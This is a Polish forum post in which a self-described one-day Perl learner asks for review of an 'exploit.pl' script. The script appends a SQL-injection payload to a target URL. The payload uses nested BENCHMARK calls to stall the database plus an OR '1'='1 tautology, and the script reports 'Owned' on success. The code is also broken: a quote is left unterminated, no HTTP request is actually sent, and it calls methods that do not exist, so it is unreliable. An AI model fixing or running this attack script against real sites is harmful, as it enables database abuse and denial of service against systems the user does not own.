Witam. Prosze, oceńcie i poprawcie mój kod, wiadomo że znajdzie sie na nim kilka niedociągnięć
Ale to dla tego iż jeden dzień uczyłem się perla :d Poradniki z Hack.pl oraz analiza kilku exploitow i programow w perlu

Kod:
#!/usr/bin/perl
#!Copyright (C) Cyborg (other name) VR8

use LWP::UserAgent;

if(@ARGV < 2)
{
usage();
exit();
}

$target = $ARGV[0];
$vulnerability = $ARGV[1];

print "
--------------------------------------------------------------------
 Target: $target
";

$poison = ' AND BENCHMARK(9999999,BENCHMARK(999999,BENCHMARK(999999,MD5(NOW()))))=0 OR '1'='1
$kill = $target/$vulnerability$poison
unless($kill->is_success) {
print " Upshot: Owned
--------------------------------------------------------------------";
}
unless($kill->is_failed) {
print " Upshot: Fail
--------------------------------------------------------------------";
}

sub usage()
{
print "
--------------------------------------------------------------------
 Use - exploit.pl http://target.com/ vulnerability.php
--------------------------------------------------------------------
";
}